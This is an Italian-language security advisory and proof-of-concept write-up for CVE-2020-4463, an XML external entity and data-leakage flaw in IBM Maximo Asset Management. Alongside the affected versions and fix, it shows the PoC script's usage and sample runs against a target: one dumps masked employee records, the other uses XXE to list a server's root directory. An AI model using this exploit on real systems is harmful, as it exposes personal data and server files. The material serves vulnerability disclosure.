
IBM Maximo Asset Management è vulnerabile a divulgazione di informazioni tramite vulnerabilità XXE (CVE-2020-4463)
IBM Maximo Asset Management è vulnerabile a un attacco di Injection di Entità Esterne XML (XXE) durante l'elaborazione di dati XML. Un attaccante remoto potrebbe sfruttare questa vulnerabilità per esporre informazioni sensibili o consumare risorse di memoria.
Base Score: 8.2
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
IBM Maximo Asset Management 7.6.0
IBM Maximo Asset Management 7.6.1
IBM Maximo Asset Management tutte le versioni precedenti alla 7.6.0
Maximo for Aviation
Maximo for Life Sciences
Maximo for Nuclear Power
Maximo for Oil and Gas
Maximo for Transportation
Maximo for Utilities
SmartCloud Control Desk
IBM Control Desk
Tivoli Integration Composer
Versione corretta: Maximo Asset Management 7.6.1.2
Versioni precedenti: Vedi workaround (link sotto)
Ecco ora il PoC per la vulnerabilità. Non solo le versioni menzionate da IBM sono vulnerabili. Anche tutte le versioni precedenti alla 7.6.0 possono essere vulnerabili.
Il PoC controlla 2 vulnerabilità che potrebbero essere presenti nel sistema. Una vulnerabilità di data leakage (perdita di dati) che può essere sfruttata se non è implementata l'autenticazione e la vulnerabilità XXE che può essere sfruttata se un certo valore (mxe.int.resolvexmlextentity=0) non è impostato nella configurazione.
python3 CVE-2020-4463.py --help
usage: CVE-2020-4463.py [-h] [-x [XXE]] [-d [DATALEAK]] [--url [URL]]
CVE-2020-4463 PoC Data Leakage and XXE
optional arguments:
-h, --help show this help message and exit
-x [XXE], --xxe [XXE]
XXE (Linux/Windows)
-d [DATALEAK], --dataleak [DATALEAK]
Data Leakage REST request MXPERSON. May take a long
time.
--url [URL] Target URL http://, https://
Se ottieni la seguente risposta, entrambe le vulnerabilità non sono presenti.
Error 500: BMXAA1268E - No user credentials.
Potrebbe richiedere molto tempo se il database contiene molte voci.
CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -d
<?xml version="1.0" encoding="UTF-8"?>
<QueryMXPERSONResponse xmlns="http://www.ibm.com/maximo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
creationDateTime="2020-11-16T10:42:49+01:0 0" transLanguage="EN" baseLanguage="EN"
messageID="6927296.160551977018422092" maximoVersion="7 6 20170418-0100 V7608-61" rsStart="0" rsTotal="4374"
rsCount="4374">
<MXPERSONSet>
<PERSON>
<ADDRESSLINE1></ADDRESSLINE1>
<CITY></CITY>
<CLASSSTRUCTUREID></CLASSSTRUCTUREID>
<COUNTRY></COUNTRY>
<C_DESCRIZIONE></C_DESCRIZIONE>
<C_MATRICOLA></C_MATRICOLA>
<C_QUALIFICA></C_QUALIFICA>
<FIRSTNAME>Lxxxxxxx</FIRSTNAME>
<LANGUAGE>IT</LANGUAGE>
<LASTNAME>xxxxxx</LASTNAME>
<PERSONID>Lxxxxxxx</PERSONID>
<POSTALCODE></POSTALCODE>
<PRIMARYEMAIL>[email protected]</PRIMARYEMAIL>
<PRIMARYPHONE></PRIMARYPHONE>
<STATEPROVINCE></STATEPROVINCE>
<STATUS maxvalue="ACTIVE">ACTIVE</STATUS>
<TITLE></TITLE>
<USERNOTFTYPE></USERNOTFTYPE>
<EMAIL>
<EMAILADDRESS>[email protected]</EMAILADDRESS>
</EMAIL>
</PERSON>
CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -x
Error 500: BMXAA4160E - A major exception has occurred. Check the system log to see if there are any companion errors logged. Report this error to your system administrator.
/c: (No such file or directory)
Error 500: For input string: "bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
"